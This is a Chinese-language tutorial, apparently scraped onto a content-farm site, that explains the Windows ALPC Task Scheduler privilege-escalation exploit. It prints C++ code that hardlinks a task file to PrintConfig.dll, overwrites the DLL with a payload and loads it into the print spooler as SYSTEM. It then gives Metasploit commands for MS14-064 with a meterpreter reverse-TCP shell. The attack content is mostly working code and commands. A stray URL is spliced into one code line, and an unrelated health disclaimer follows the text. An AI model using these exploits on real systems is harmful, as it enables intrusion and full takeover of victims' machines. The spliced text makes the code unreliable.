prnms003.inf_amd64_4592475aca2acf83Amd64printconfig.dll,然后将C:WindowsTasksUpdateTask.job硬链接到这个dll 。
WIN32_FIND_DATA FindFileData; HANDLE hFind; hFind = FindFirstFile(L”C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64*”, &FindFileData); wchar_t BeginPath[MAX_PATH] = L”c:\windows\system32\DriverStore\FileRepository\”; wchar_tPrinterDriverFolder[MAX_PATH]; wchar_t EndPath[23] = L”\Amd64\PrintConfig.dll”; wmemcpy(PrinterDriverFolder, FindFileData.cFileName, wcslen(FindFileData.cFileName)); FindClose(hFind); wcscat(BeginPath, PrinterDriverFolder); wcscat(BeginPath, EndPath); //Create a hardlink with UpdateTask.job to our target, this is the file the task scheduler will write the DACL of CreateNativeHardlink(L”c:\windows\tasks\UpdateTask.job”, BeginPath);
在调用SchRpcSetSecurity函数使普通用户成功获取了对该dll写入的权限之后写入资源文件中的exploit.dll 。
//Must be name of final DLL.. might be better ways to grab the handle HMODULE mod = GetModuleHandle(L”ALPC-TaskSched-LPE”); //Payload is included as a resource, you need to modify this resource accordingly. HRSRC myResource = ::FindResource(mod, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA); unsigned int myResourceSize = ::SizeofResource(mod, myResource); HGLOBAL myResourceData = https://www.520longzhigu.com/shenghuo/::LoadResource(mod, myResource); void* pMyBinaryData = ::LockResource(myResourceData); //We try to open the DLL in a loop, it could already be loaded somewhere.. if thats the case, it will throw a sharing violation and we should not continue HANDLE hFile; DWORD dwBytesWritten = 0; do { hFile = CreateFile(BeginPath,GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); WriteFile(hFile,(char*)pMyBinaryData,myResourceSize,&dwBytesWritten,NULL); if (hFile == INVALID_HANDLE_VALUE) { Sleep(5000); } } while (hFile == INVALID_HANDLE_VALUE); CloseHandle(hFile);
printconfig.dll和系统打印相关,并且没有被print spooler服务默认启动 。所以随后调用StartXpsPrintJob开始一个XPS打印 。
//After writing PrintConfig.dll we start an XpsPrintJob to load the dll into the print spooler service. CoInitialize(nullptr); IXpsOMObjectFactory *xpsFactory = NULL; CoCreateInstance(__uuidof(XpsOMObjectFactory), NULL, CLSCTX_INPROC_SERVER, __uuidof(IXpsOMObjectFactory), reinterpret_cast
(&xpsFactory));
HANDLE completionEvent = CreateEvent(
NULL, TRUE, FALSE,
NULL);
IXpsPrintJob *job =
NULL;
IXpsPrintJobStream *jobStream =
NULL;
StartXpsPrintJob(
L”Microsoft XPS Document Writer”,
L”Print Job 1″,
NULL,
NULL, completionEvent,
NULL,
0, &job, &jobStream,
NULL);
jobStream->Close();
CoUninitialize();
return
0;
整个漏洞利用程序编译出来是个dll,把它注入到notepad中运行,发现spoolsv.exe创建的notepad已经具有SYSTEM权限,而系统中的printconfig.dll也被修改成了资源文件中的exploit.dll 。
防御措施
建议用户安装360安全卫士等终端防御软件拦截利用此类漏洞的攻击,不要打开来源不明的程序 。
四、以实例讲解攻击者是如何利用系统漏洞发起攻击的
利用MS14-064 漏洞测试入侵win7
Microsoft Windows OLE远程代码执行漏洞,OLE(对象链接与嵌入)是一种允许应用程序共享数据和功能的技术,
远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本…
里已经加入了此漏洞的利用模块 :
exploit/windows/browser/ms14_064_ole_code_execution
执行命令:
msfconsole //启动MSF
search ms14 //搜索关键字
use
exploit/windows/browser/ms14_064_ole_code_execution // 加载漏洞利用模块
set payload
windows/meterpreter/reverse_tcp //设置反弹连接shell
如图:
需要注意的是箭头标记的属性默认为false 需要设置为true ,因为msf中自带的漏洞利用exp调用的是 powershell,
以上关于本文的内容,仅作参考!温馨提示:如遇健康、疾病相关的问题,请您及时就医或请专业人士给予相关指导!
「四川龙网」www.sichuanlong.com小编还为您精选了以下内容,希望对您有所帮助:- pe优盘安装系统 如何安装pe系统到U盘
- U盘安装原版win10系统方法 win10原版镜像u盘安装
- svn下载安装及使用教程 svn客户端使用教程
- XBOX360游戏手柄推荐 360手柄驱动安装失败
- w10系统改xp系统教程 win10环境安装xp双系统
- 移动魔百盒怎么安装app 移动魔百盒怎么投屏
- ie卸载不干净无法重新安装 ie卸载方法
- 教你eclipse创建java程序 eclips安装教程
- 兄弟1608加粉清零方法 理光驱动怎么安装
- 联想m100d打印机驱动使用 如何安装联想打印机驱动程序